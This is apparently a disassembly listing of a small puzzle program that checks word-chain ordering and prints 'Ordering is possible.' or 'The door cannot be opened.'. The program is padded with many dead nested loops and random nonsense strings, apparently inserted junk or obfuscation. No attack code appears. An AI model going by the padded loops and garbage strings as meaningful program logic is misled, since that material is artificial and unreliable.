mov dword [ebp - 0x1a58], 0xab5934
push dword [ebp - 0x1a58]
call fcn.004f1b87
pop ecx
cmp dword [ebp - 0x15c0], 0x4eb9
jle 0x4d7155
and dword [ebp - 0x8cc], 0
jmp 0x4d69bd
mov eax, dword [ebp - 0x8cc]
inc eax
mov dword [ebp - 0x8cc], eax
cmp dword [ebp - 0x8cc], 0x456f
jge 0x4d7155
mov dword [ebp - 0x1820], 0x6c63
mov dword [ebp - 0x2a90], str.eaylpwx_gjns_hhqhqiug_fcug_ecvharm_jxw_jehompyv_mynkyqtu_mnlwa_decnhf_fvmcy
cmp dword [ebp - 0x1820], 0x6f01
jle 0x4d6bd9
and dword [ebp - 0xfac], 0
jmp 0x4d6a07
mov eax, dword [ebp - 0xfac]
inc eax
mov dword [ebp - 0xfac], eax
cmp dword [ebp - 0xfac], 0x78e4
jge 0x4d6bd9
and dword [ebp - 0xe3c], 0
jmp 0x4d6a2d
mov eax, dword [ebp - 0xe3c]
inc eax
mov dword [ebp - 0xe3c], eax
cmp dword [ebp - 0xe3c], 0x70c5
jge 0x4d6bd4
mov dword [ebp - 0x268c], 0x1852
cmp dword [ebp - 0x268c], 0x1306
jge 0x4d6b75
lea eax, [ebp - 0x13f8]
push eax
mov ecx, 0xac75e0
call fcn.00417279
push dword [ebp - 0x13f8]
lea ecx, [ebp - 0x1b40]
call fcn.004179d7
and dword [ebp - 0x8bc], 0
jmp 0x4d6a8f
mov eax, dword [ebp - 0x8bc]
inc eax
mov dword [ebp - 0x8bc], eax
mov eax, dword [ebp - 0x8bc]
cmp eax, dword [ebp - 0x13f8]
jge 0x4d6abb
push dword [ebp - 0x8bc]
lea ecx, [ebp - 0x1b40]
call fcn.00417bb8
push eax
mov ecx, 0xac75e0
call fcn.00417279
jmp 0x4d6a82
lea eax, [ebp - 0x2ec8]
push eax
lea ecx, [ebp - 0x1b40]
call fcn.00417b02
push dword [eax]
lea eax, [ebp - 0x2ed0]
push eax
lea ecx, [ebp - 0x1b40]
call fcn.00417af4
push dword [eax]
call fcn.0041c23e
pop ecx
pop ecx
and dword [ebp - 0x1228], 0
and dword [ebp - 0x480], 0
jmp 0x4d6b08
mov eax, dword [ebp - 0x480]
inc eax
inc eax
mov dword [ebp - 0x480], eax
mov eax, dword [ebp - 0x480]
cmp eax, dword [ebp - 0x13f8]
jge 0x4d6b4e
mov eax, dword [ebp - 0x480]
inc eax
push eax
lea ecx, [ebp - 0x1b40]
call fcn.00417bb8
mov esi, eax
push dword [ebp - 0x480]
lea ecx, [ebp - 0x1b40]
call fcn.00417bb8
mov ecx, dword [esi]
sub ecx, dword [eax]
add ecx, dword [ebp - 0x1228]
mov dword [ebp - 0x1228], ecx
jmp 0x4d6afa
push fcn.0041c2ab
push dword [ebp - 0x1228]
mov ecx, 0xac7538
call fcn.00417681
mov ecx, eax
call fcn.00417675
lea ecx, [ebp - 0x1b40]
call fcn.00417aef
and dword [ebp - 0x8c4], 0
jmp 0x4d6b8b
mov eax, dword [ebp - 0x8c4]
inc eax
mov dword [ebp - 0x8c4], eax
cmp dword [ebp - 0x8c4], 0x1403
jge 0x4d6bcf
mov eax, dword [ebp - 0xe3c]
imul eax, dword [ebp - 0x8c4]
and eax, dword [ebp - 0xfac]
cdq
mov dword [ebp - 0x1f68], eax
mov dword [ebp - 0x1f64], edx
push dword [ebp - 0x1f64]
push dword [ebp - 0x1f68]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d6b7e
jmp 0x4d6a20
jmp 0x4d69fa
and dword [ebp - 0xe44], 0
jmp 0x4d6bef
mov eax, dword [ebp - 0xe44]
inc eax
mov dword [ebp - 0xe44], eax
cmp dword [ebp - 0xe44], 0x207c
jge 0x4d6d9b
and dword [ebp - 0x8d4], 0
jmp 0x4d6c15
mov eax, dword [ebp - 0x8d4]
inc eax
mov dword [ebp - 0x8d4], eax
cmp dword [ebp - 0x8d4], 0x4967
jge 0x4d6d96
mov eax, dword [ebp - 0x8cc]
mov ecx, dword [ebp - 0xe44]
sar eax, cl
or eax, dword [ebp - 0x8d4]
cdq
mov dword [ebp - 0x1f80], eax
mov dword [ebp - 0x1f7c], edx
mov dword [ebp - 0x15b8], 0x2a8d
mov dword [ebp - 0x1da4], str.ayhity_jgbjrhbsp_avlnp_igy_ripom_ywpmsrv
cmp dword [ebp - 0x15b8], 0x2b0f
jle 0x4d6d43
and dword [ebp - 0x8e4], 0
jmp 0x4d6c80
mov eax, dword [ebp - 0x8e4]
inc eax
mov dword [ebp - 0x8e4], eax
cmp dword [ebp - 0x8e4], 0xe7b
jge 0x4d6d43
and dword [ebp - 0xe4c], 0
jmp 0x4d6ca6
mov eax, dword [ebp - 0xe4c]
inc eax
mov dword [ebp - 0xe4c], eax
cmp dword [ebp - 0xe4c], 0x762f
jge 0x4d6d3e
and dword [ebp - 0x10ac], 0
jmp 0x4d6ccc
mov eax, dword [ebp - 0x10ac]
inc eax
mov dword [ebp - 0x10ac], eax
cmp dword [ebp - 0x10ac], 0x6e78
jge 0x4d6d39
and dword [ebp - 0x8dc], 0
jmp 0x4d6cee
mov eax, dword [ebp - 0x8dc]
inc eax
mov dword [ebp - 0x8dc], eax
cmp dword [ebp - 0x8dc], 0x1f1b
jge 0x4d6d37
mov eax, dword [ebp - 0x10ac]
add eax, dword [ebp - 0x8dc]
xor eax, dword [ebp - 0xe4c]
or eax, dword [ebp - 0x8e4]
cdq
mov dword [ebp - 0x1f74], eax
mov dword [ebp - 0x1f70], edx
push dword [ebp - 0x1f70]
push dword [ebp - 0x1f74]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d6ce1
jmp 0x4d6cbf
jmp 0x4d6c99
jmp 0x4d6c73
push dword [ebp - 0x1f7c]
push dword [ebp - 0x1f80]
lea ecx, [ebp - 0x3978]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3978]
call fcn.00401711
cmp dword [ebp - 0x15b8], 0x27d8
jge 0x4d6d91
mov edx, dword [ebp - 0x1da4]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4d6c08
jmp 0x4d6be2
cmp dword [ebp - 0x1820], 0x6b2d
jge 0x4d7150
mov dword [ebp - 0x28c0], 0x1519
cmp dword [ebp - 0x28c0], 0x1174
jge 0x4d7140
lea eax, [ebp - 0x1db0]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
mov dword [ebp - 0x1330], 1
jmp 0x4d6df1
mov eax, dword [ebp - 0x1330]
inc eax
mov dword [ebp - 0x1330], eax
mov eax, dword [ebp - 0x1330]
cmp eax, dword [ebp - 0x1db0]
jg 0x4d7140
lea eax, [ebp - 0x3148]
push eax
push 0xab57f4
call fcn.004f117c
pop ecx
pop ecx
lea eax, [ebp - 0x3148]
mov dword [ebp - 0x3b8], eax
mov eax, dword [ebp - 0x3b8]
inc eax
mov dword [ebp - 0x2694], eax
mov eax, dword [ebp - 0x3b8]
mov al, byte [eax]
mov byte [ebp - 0x231], al
inc dword [ebp - 0x3b8]
cmp byte [ebp - 0x231], 0
jne 0x4d6e2f
mov eax, dword [ebp - 0x3b8]
sub eax, dword [ebp - 0x2694]
mov dword [ebp - 0x1dbc], eax
mov eax, dword [ebp - 0x1dbc]
mov dword [ebp - 0xe54], eax
and dword [ebp - 0xfb4], 0
jmp 0x4d6e80
mov eax, dword [ebp - 0xfb4]
inc eax
mov dword [ebp - 0xfb4], eax
cmp dword [ebp - 0xfb4], 0x1a
jge 0x4d6ea0
imul eax, dword [ebp - 0xe54], 0x68
mov ecx, dword [ebp - 0xfb4]
or dword [eax + ecx*4 + 0x2735780], 0xffffffff
jmp 0x4d6e73
mov eax, dword [ebp - 0xe54]
dec eax
mov dword [ebp - 0x74], eax
jmp 0x4d6eb3
mov eax, dword [ebp - 0x74]
dec eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jl 0x4d6f81
and dword [ebp - 0x440], 0
jmp 0x4d6ed3
mov eax, dword [ebp - 0x440]
inc eax
mov dword [ebp - 0x440], eax
mov eax, dword [ebp - 0x74]
movsx eax, byte [ebp + eax - 0x3148]
sub eax, 0x41
cmp dword [ebp - 0x440], eax
jge 0x4d6f10
mov eax, dword [ebp - 0x74]
inc eax
imul eax, eax, 0x68
imul ecx, dword [ebp - 0x74], 0x68
mov edx, dword [ebp - 0x440]
mov esi, dword [ebp - 0x440]
mov eax, dword [eax + esi*4 + 0x2735780]
mov dword [ecx + edx*4 + 0x2735780], eax
jmp 0x4d6ec6
imul eax, dword [ebp - 0x74], 0x68
mov ecx, dword [ebp - 0x74]
movsx ecx, byte [ebp + ecx - 0x3148]
mov edx, dword [ebp - 0x74]
mov dword [eax + ecx*4 + 0x273567c], edx
mov eax, dword [ebp - 0x74]
movsx eax, byte [ebp + eax - 0x3148]
sub eax, 0x40
mov dword [ebp - 0x3c0], eax
jmp 0x4d6f4c
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 0x1a
jge 0x4d6f7c
mov eax, dword [ebp - 0x74]
inc eax
imul eax, eax, 0x68
imul ecx, dword [ebp - 0x74], 0x68
mov edx, dword [ebp - 0x3c0]
mov esi, dword [ebp - 0x3c0]
mov eax, dword [eax + esi*4 + 0x2735780]
mov dword [ecx + edx*4 + 0x2735780], eax
jmp 0x4d6f3f
jmp 0x4d6eac
mov eax, dword [ebp - 0xe54]
dec eax
mov dword [ebp - 0xa4], eax
jmp 0x4d6f9d
mov eax, dword [ebp - 0xa4]
dec eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0
jl 0x4d7069
mov eax, dword [ebp - 0xa4]
mov dword [eax*4 + 0x27b14a8], 1
and dword [ebp - 0x4ac], 0
jmp 0x4d6fd1
mov eax, dword [ebp - 0x4ac]
inc eax
mov dword [ebp - 0x4ac], eax
cmp dword [ebp - 0x4ac], 0x1a
jge 0x4d7064
mov eax, dword [ebp - 0xa4]
inc eax
imul eax, eax, 0x68
mov ecx, dword [ebp - 0x4ac]
cmp dword [eax + ecx*4 + 0x2735780], 0xffffffff
jne 0x4d6ffa
jmp 0x4d6fc4
mov eax, dword [ebp - 0xa4]
inc eax
imul eax, eax, 0x68
mov ecx, dword [ebp - 0x4ac]
mov eax, dword [eax + ecx*4 + 0x2735780]
mov ecx, dword [ebp - 0xa4]
mov ecx, dword [ecx*4 + 0x27b14a8]
add ecx, dword [eax*4 + 0x27b14a8]
mov eax, dword [ebp - 0xa4]
mov dword [eax*4 + 0x27b14a8], ecx
mov eax, dword [ebp - 0xa4]
cmp dword [eax*4 + 0x27b14a8], 0x40
jle 0x4d705f
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax*4 + 0x27b14a8]
sub eax, 0x40
mov ecx, dword [ebp - 0xa4]
mov dword [ecx*4 + 0x27b14a8], eax
jmp 0x4d6fc4
jmp 0x4d6f90
mov dword [ebp - 0x2dc], 1
and dword [ebp - 0x8ec], 0
jmp 0x4d7089
mov eax, dword [ebp - 0x8ec]
inc eax
mov dword [ebp - 0x8ec], eax
cmp dword [ebp - 0x8ec], 0x1a
jge 0x4d70a2
mov eax, dword [ebp - 0x8ec]
mov byte [ebp + eax - 0x3108], 0
jmp 0x4d707c
and dword [ebp - 0x27c], 0
jmp 0x4d70b8
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
mov eax, dword [ebp - 0x27c]
cmp eax, dword [ebp - 0xe54]
jge 0x4d7129
mov eax, dword [ebp - 0x27c]
movsx eax, byte [ebp + eax - 0x3148]
movzx eax, byte [ebp + eax - 0x3149]
test eax, eax
jne 0x4d7127
mov eax, dword [ebp - 0x27c]
movsx eax, byte [ebp + eax - 0x3148]
mov byte [ebp + eax - 0x3149], 1
mov eax, dword [ebp - 0x27c]
mov ecx, dword [ebp - 0x2dc]
add ecx, dword [eax*4 + 0x27b14a8]
mov dword [ebp - 0x2dc], ecx
cmp dword [ebp - 0x2dc], 0x40
jle 0x4d7127
mov eax, dword [ebp - 0x2dc]
sub eax, 0x40
mov dword [ebp - 0x2dc], eax
jmp 0x4d70ab
push dword [ebp - 0x2dc]
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4d6de4
mov edx, dword [ebp - 0x2a90]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4d69b0
mov dword [ebp - 0x1840], 0x4dd1
mov dword [ebp - 0x1dc8], 0x1c66
cmp dword [ebp - 0x1dc8], 0xf1c
jge 0x4d758a
lea eax, [ebp - 0x1230]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x1230]
mov dword [ebp - 0x269c], eax
mov eax, dword [ebp - 0x1230]
dec eax
mov dword [ebp - 0x1230], eax
cmp dword [ebp - 0x269c], 0
je 0x4d758a
lea eax, [ebp - 0x1dd4]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
push 0x2a4
push 0
lea eax, [ebp - 0x47f8]
push eax
call fcn.004caaff
add esp, 0xc
push 0x68
push 0
lea eax, [ebp - 0x3cd0]
push eax
call fcn.004caaff
add esp, 0xc
push 0x68
push 0
lea eax, [ebp - 0x3c68]
push eax
call fcn.004caaff
add esp, 0xc
and dword [ebp - 0x1438], 0
jmp 0x4d7217
mov eax, dword [ebp - 0x1438]
inc eax
mov dword [ebp - 0x1438], eax
mov eax, dword [ebp - 0x1438]
cmp eax, dword [ebp - 0x1dd4]
jge 0x4d7329
lea eax, [ebp - 0x4094]
push eax
push 0xab57f4
call fcn.004f117c
pop ecx
pop ecx
lea eax, [ebp - 0x4094]
mov dword [ebp - 0x3c8], eax
mov eax, dword [ebp - 0x3c8]
inc eax
mov dword [ebp - 0x28c8], eax
mov eax, dword [ebp - 0x3c8]
mov al, byte [eax]
mov byte [ebp - 0x239], al
inc dword [ebp - 0x3c8]
cmp byte [ebp - 0x239], 0
jne 0x4d7255
mov eax, dword [ebp - 0x3c8]
sub eax, dword [ebp - 0x28c8]
mov dword [ebp - 0x1de0], eax
mov eax, dword [ebp - 0x1de0]
mov dword [ebp - 0x26a4], eax
xor eax, eax
inc eax
imul eax, eax, 0
movsx eax, byte [ebp + eax - 0x4094]
sub eax, 0x61
mov dword [ebp - 0x105c], eax
mov eax, dword [ebp - 0x26a4]
movsx eax, byte [ebp + eax - 0x4095]
sub eax, 0x61
mov dword [ebp - 0x8f4], eax
imul eax, dword [ebp - 0x8f4], 0x1a
lea eax, [ebp + eax - 0x47f8]
mov ecx, dword [ebp - 0x105c]
mov byte [eax + ecx], 1
imul eax, dword [ebp - 0x105c], 0x1a
lea eax, [ebp + eax - 0x47f8]
mov ecx, dword [ebp - 0x8f4]
mov byte [eax + ecx], 1
mov eax, dword [ebp - 0x8f4]
mov eax, dword [ebp + eax*4 - 0x3cd0]
inc eax
mov ecx, dword [ebp - 0x8f4]
mov dword [ebp + ecx*4 - 0x3cd0], eax
mov eax, dword [ebp - 0x105c]
mov eax, dword [ebp + eax*4 - 0x3c68]
inc eax
mov ecx, dword [ebp - 0x105c]
mov dword [ebp + ecx*4 - 0x3c68], eax
jmp 0x4d720a
and dword [ebp - 0x448], 0
jmp 0x4d733f
mov eax, dword [ebp - 0x448]
inc eax
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 0x1a
jge 0x4d73fd
and dword [ebp - 0x284], 0
jmp 0x4d7362
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0x1a
jge 0x4d73f8
and dword [ebp - 0x320], 0
jmp 0x4d7385
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0x1a
jge 0x4d73f3
imul eax, dword [ebp - 0x284], 0x1a
lea eax, [ebp + eax - 0x47f8]
mov ecx, dword [ebp - 0x320]
movzx eax, byte [eax + ecx]
imul ecx, dword [ebp - 0x284], 0x1a
lea ecx, [ebp + ecx - 0x47f8]
mov edx, dword [ebp - 0x448]
movzx ecx, byte [ecx + edx]
imul edx, dword [ebp - 0x448], 0x1a
lea edx, [ebp + edx - 0x47f8]
mov esi, dword [ebp - 0x320]
movzx edx, byte [edx + esi]
and ecx, edx
or eax, ecx
imul ecx, dword [ebp - 0x284], 0x1a
lea ecx, [ebp + ecx - 0x47f8]
mov edx, dword [ebp - 0x320]
mov byte [ecx + edx], al
jmp 0x4d7378
jmp 0x4d7355
jmp 0x4d7332
mov byte [ebp - 0x3d], 1
and dword [ebp - 0x1e8], 0
jmp 0x4d7417
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0x1a
jge 0x4d74b7
and dword [ebp - 0x190], 0
jmp 0x4d743a
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x1a
jge 0x4d74b2
mov eax, dword [ebp - 0x1e8]
cmp eax, dword [ebp - 0x190]
je 0x4d74ad
mov eax, dword [ebp - 0x1e8]
mov eax, dword [ebp + eax*4 - 0x3cd0]
mov ecx, dword [ebp - 0x1e8]
add eax, dword [ebp + ecx*4 - 0x3c68]
test eax, eax
jle 0x4d74ad
mov eax, dword [ebp - 0x190]
mov eax, dword [ebp + eax*4 - 0x3cd0]
mov ecx, dword [ebp - 0x190]
add eax, dword [ebp + ecx*4 - 0x3c68]
test eax, eax
jle 0x4d74ad
imul eax, dword [ebp - 0x1e8], 0x1a
lea eax, [ebp + eax - 0x47f8]
mov ecx, dword [ebp - 0x190]
movzx eax, byte [eax + ecx]
test eax, eax
jne 0x4d74ad
mov byte [ebp - 0x3d], 0
jmp 0x4d742d
jmp 0x4d740a
and dword [ebp - 0x8fc], 0
and dword [ebp - 0x1238], 0
and dword [ebp - 0x194], 0
jmp 0x4d74db
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x1a
jge 0x4d753b
mov eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x194]
mov eax, dword [ebp + eax*4 - 0x3cd0]
cmp eax, dword [ebp + ecx*4 - 0x3c68]
jne 0x4d750f
mov eax, dword [ebp - 0x8fc]
inc eax
mov dword [ebp - 0x8fc], eax
jmp 0x4d7539
mov eax, dword [ebp - 0x194]
mov eax, dword [ebp + eax*4 - 0x3cd0]
inc eax
mov ecx, dword [ebp - 0x194]
cmp dword [ebp + ecx*4 - 0x3c68], eax
jne 0x4d7539
mov eax, dword [ebp - 0x1238]
inc eax
mov dword [ebp - 0x1238], eax
jmp 0x4d74ce
cmp dword [ebp - 0x8fc], 0x1a
je 0x4d755a
cmp dword [ebp - 0x8fc], 0x18
jne 0x4d7556
cmp dword [ebp - 0x1238], 1
je 0x4d755a
mov byte [ebp - 0x3d], 0
movzx eax, byte [ebp - 0x3d]
test eax, eax
je 0x4d756f
push str.Ordering_is_possible.
call fcn.004f1488
pop ecx
jmp 0x4d757a
push str.The_door_cannot_be_opened.
call fcn.004f1488
pop ecx
push 0xab57b8
call fcn.004f1488
pop ecx
jmp 0x4d718c
mov dword [ebp - 0x1968], 0xeff
mov dword [ebp - 0x26ac], str.djkiobho_gvkl_ucrk_gcacnmera_ioegnpm_dtgvmrvc_tlfwx_aqoksg_nolyweokj_gxtbknsc_vhdxqvs_gmxnvlrh_haylk
cmp dword [ebp - 0x1968], 0x1258
jle 0x4d787d
and dword [ebp - 0xfbc], 0
jmp 0x4d75c4
mov eax, dword [ebp - 0xfbc]
inc eax
mov dword [ebp - 0xfbc], eax
cmp dword [ebp - 0xfbc], 0x429f
jge 0x4d787d
and dword [ebp - 0x90c], 0
jmp 0x4d75ea
mov eax, dword [ebp - 0x90c]
inc eax
mov dword [ebp - 0x90c], eax
cmp dword [ebp - 0x90c], 0x5a96
jge 0x4d7878
and dword [ebp - 0xe64], 0
jmp 0x4d7610
mov eax, dword [ebp - 0xe64]
inc eax
mov dword [ebp - 0xe64], eax
cmp dword [ebp - 0xe64], 0x30b8
jge 0x4d7873
mov dword [ebp - 0x1dec], 0x1c20
cmp dword [ebp - 0x1dec], 0xd86
jge 0x4d781a
call fcn.004f12b6
push 0x20
pop ecx
imul ecx, ecx, 0
add eax, ecx
push eax
push 0xab59f4
push str.in.txt
call fcn.004f1af8
add esp, 0xc
call fcn.004f12b6
push 0x20
pop ecx
shl ecx, 0
add eax, ecx
push eax
push 0xab5f10
push str.out.txt
call fcn.004f1af8
add esp, 0xc
xor eax, eax
inc eax
je 0x4d781a
lea eax, [ebp - 0x28c]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
cmp dword [ebp - 0x28c], 0
jne 0x4d76a4
jmp 0x4d781a
push dword [ebp - 0x28c]
lea ecx, [ebp - 0x2c50]
call fcn.004179d7
and dword [ebp - 0xe5c], 0
jmp 0x4d76cb
mov eax, dword [ebp - 0xe5c]
inc eax
mov dword [ebp - 0xe5c], eax
mov eax, dword [ebp - 0xe5c]
cmp eax, dword [ebp - 0x28c]
jge 0x4d76f7
push dword [ebp - 0xe5c]
lea ecx, [ebp - 0x2c50]
call fcn.00417bb8
push eax
mov ecx, 0xac75e0
call fcn.00417279
jmp 0x4d76be
lea ecx, [ebp - 0x29b4]
call fcn.004179ca
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x3d0], eax
jmp 0x4d771d
mov eax, dword [ebp - 0x3d0]
dec eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0
jle 0x4d7784
mov eax, dword [ebp - 0x3d0]
dec eax
push eax
lea ecx, [ebp - 0x2c50]
call fcn.00417bb8
push dword [eax]
lea eax, [ebp - 0x2ed8]
push eax
lea eax, [ebp - 0x2f30]
push eax
lea ecx, [ebp - 0x29b4]
call fcn.00417af4
mov ecx, eax
call fcn.0041d083
mov eax, dword [eax]
mov dword [ebp - 0x29d8], eax
lea eax, [ebp - 0x3d0]
push eax
push dword [ebp - 0x29d8]
lea eax, [ebp - 0x2f34]
push eax
lea ecx, [ebp - 0x29b4]
call fcn.004e9c47
jmp 0x4d7710
and dword [ebp - 0x904], 0
jmp 0x4d779a
mov eax, dword [ebp - 0x904]
inc eax
mov dword [ebp - 0x904], eax
mov eax, dword [ebp - 0x28c]
dec eax
cmp dword [ebp - 0x904], eax
jge 0x4d77d4
push dword [ebp - 0x904]
lea ecx, [ebp - 0x29b4]
call fcn.00417bb8
push dword [eax]
mov ecx, 0xac7538
call fcn.00417681
mov edx, 0xac07c8
mov ecx, eax
call fcn.0041c2dd
jmp 0x4d778d
push fcn.0041c2ab
mov eax, dword [ebp - 0x28c]
dec eax
push eax
lea ecx, [ebp - 0x29b4]
call fcn.00417bb8
push dword [eax]
mov ecx, 0xac7538
call fcn.00417681
mov ecx, eax
call fcn.00417675
lea ecx, [ebp - 0x29b4]
call fcn.00417aef
lea ecx, [ebp - 0x2c50]
call fcn.00417aef
jmp 0x4d767a
mov eax, dword [ebp - 0xfbc]
imul eax, dword [ebp - 0x90c]
mov ecx, dword [ebp - 0xe64]
sar eax, cl
cdq
mov dword [ebp - 0x1f8c], eax
mov dword [ebp - 0x1f88], edx
push dword [ebp - 0x1f88]
push dword [ebp - 0x1f8c]
lea ecx, [ebp - 0x34f8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x34f8]
call fcn.00401711
jmp 0x4d7603
jmp 0x4d75dd
jmp 0x4d75b7
cmp dword [ebp - 0x15c0], 0x4b80
jge 0x4d7895
push dword [ebp - 0x1df8]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x1968], 0xd76
jge 0x4d78ad
push dword [ebp - 0x26ac]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x1e70], str.junpjx_ixxt_gwkirxr
cmp dword [ebp - 0x1840], 0x4f53
jle 0x4d8638
and dword [ebp - 0xe8c], 0
jmp 0x4d78dd
mov eax, dword [ebp - 0xe8c]
inc eax
mov dword [ebp - 0xe8c], eax
cmp dword [ebp - 0xe8c], 0x11d0
jge 0x4d8638
mov dword [ebp - 0x15c8], 0xce3
mov dword [ebp - 0x1e04], str.vydnuxcp_wuwrtspn_eigrylhgj_upwedmmsb_xqceinak_ets_eimltbr
cmp dword [ebp - 0x15c8], 0xd04
jle 0x4d7984
and dword [ebp - 0x914], 0
jmp 0x4d7923
mov eax, dword [ebp - 0x914]
inc eax
mov dword [ebp - 0x914], eax
cmp dword [ebp - 0x914], 0x6b54
jge 0x4d7984
and dword [ebp - 0x10ec], 0
jmp 0x4d7945
mov eax, dword [ebp - 0x10ec]
inc eax
mov dword [ebp - 0x10ec], eax
cmp dword [ebp - 0x10ec], 0x1a02
jge 0x4d7982
mov eax, dword [ebp - 0x914]
or eax, dword [ebp - 0x10ec]
cdq
mov dword [ebp - 0x1f98], eax
mov dword [ebp - 0x1f94], edx
push dword [ebp - 0x1f94]
push dword [ebp - 0x1f98]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d7938
jmp 0x4d7916
mov dword [ebp - 0x15e8], 0x74f9
cmp dword [ebp - 0x15c8], 0x9a7
jge 0x4d79aa
mov edx, dword [ebp - 0x1e04]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x1828], 0x5f6b
mov dword [ebp - 0x28d0], str.pvxoka_hgtlsckop_hvrpgxwvy_qkogntqp_alqi_lijdwnbw_qmmwxnu_idsaqi
cmp dword [ebp - 0x1828], 0x6117
jle 0x4d7aaa
and dword [ebp - 0x91c], 0
jmp 0x4d79e4
mov eax, dword [ebp - 0x91c]
inc eax
mov dword [ebp - 0x91c], eax
cmp dword [ebp - 0x91c], 0xa98
jge 0x4d7aaa
and dword [ebp - 0xe6c], 0
jmp 0x4d7a0a
mov eax, dword [ebp - 0xe6c]
inc eax
mov dword [ebp - 0xe6c], eax
cmp dword [ebp - 0xe6c], 0x31ea
jge 0x4d7aa5
and dword [ebp - 0x924], 0
jmp 0x4d7a30
mov eax, dword [ebp - 0x924]
inc eax
mov dword [ebp - 0x924], eax
cmp dword [ebp - 0x924], 0x2f3e
jge 0x4d7aa0
and dword [ebp - 0xfc4], 0
jmp 0x4d7a52
mov eax, dword [ebp - 0xfc4]
inc eax
mov dword [ebp - 0xfc4], eax
cmp dword [ebp - 0xfc4], 0x3459
jge 0x4d7a9e
mov eax, dword [ebp - 0x91c]
cdq
idiv dword [ebp - 0xe6c]
sub edx, dword [ebp - 0x924]
and edx, dword [ebp - 0xfc4]
mov eax, edx
cdq
mov dword [ebp - 0x1fa4], eax
mov dword [ebp - 0x1fa0], edx
push dword [ebp - 0x1fa0]
push dword [ebp - 0x1fa4]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d7a45
jmp 0x4d7a23
jmp 0x4d79fd
jmp 0x4d79d7
mov dword [ebp - 0x26c4], str.ickeofhq_novv_hqkt_woonk_pikainco
cmp dword [ebp - 0x1828], 0x5bee
jge 0x4d7ad0
mov edx, dword [ebp - 0x28d0]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x15e8], 0x771a
jle 0x4d7fc6
and dword [ebp - 0xe84], 0
jmp 0x4d7af6
mov eax, dword [ebp - 0xe84]
inc eax
mov dword [ebp - 0xe84], eax
cmp dword [ebp - 0xe84], 0x7ed0
jge 0x4d7fc6
mov dword [ebp - 0x19d8], 0x463c
mov dword [ebp - 0x2a78], str.rbdiflvy_igxygh_ujg_sxtukpt_ofwnav_clskmmutf_atdqokj_hahnmuydl_kojedmwu_dherm_jebws_setxiwq
cmp dword [ebp - 0x19d8], 0x49eb
jle 0x4d7bd5
and dword [ebp - 0x934], 0
jmp 0x4d7b40
mov eax, dword [ebp - 0x934]
inc eax
mov dword [ebp - 0x934], eax
cmp dword [ebp - 0x934], 0x4381
jge 0x4d7bd5
and dword [ebp - 0x92c], 0
jmp 0x4d7b66
mov eax, dword [ebp - 0x92c]
inc eax
mov dword [ebp - 0x92c], eax
cmp dword [ebp - 0x92c], 0x1b20
jge 0x4d7bd0
and dword [ebp - 0xe74], 0
jmp 0x4d7b88
mov eax, dword [ebp - 0xe74]
inc eax
mov dword [ebp - 0xe74], eax
cmp dword [ebp - 0xe74], 0x6fd3
jge 0x4d7bce
mov eax, dword [ebp - 0x92c]
cdq
idiv dword [ebp - 0xe74]
mov eax, dword [ebp - 0x934]
sub eax, edx
cdq
mov dword [ebp - 0x1fb0], eax
mov dword [ebp - 0x1fac], edx
push dword [ebp - 0x1fac]
push dword [ebp - 0x1fb0]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d7b7b
jmp 0x4d7b59
jmp 0x4d7b33
and dword [ebp - 0xfcc], 0
jmp 0x4d7beb
mov eax, dword [ebp - 0xfcc]
inc eax
mov dword [ebp - 0xfcc], eax
cmp dword [ebp - 0xfcc], 0x25b0
jge 0x4d7dee
mov dword [ebp - 0x15d0], 0x6287
mov dword [ebp - 0x1e10], str.tcguxe_rsasqxjix_apmoo_ycu_lvkklqpd_xidkbh_irahhfg_smiu_mkxbcoxhk_jin_vonlolqpq
cmp dword [ebp - 0x15d0], 0x643e
jle 0x4d7d2a
and dword [ebp - 0x944], 0
jmp 0x4d7c35
mov eax, dword [ebp - 0x944]
inc eax
mov dword [ebp - 0x944], eax
cmp dword [ebp - 0x944], 0x2bc
jge 0x4d7d1e
and dword [ebp - 0x1064], 0
jmp 0x4d7c5b
mov eax, dword [ebp - 0x1064]
inc eax
mov dword [ebp - 0x1064], eax
cmp dword [ebp - 0x1064], 0x6bef
jge 0x4d7d19
and dword [ebp - 0x93c], 0
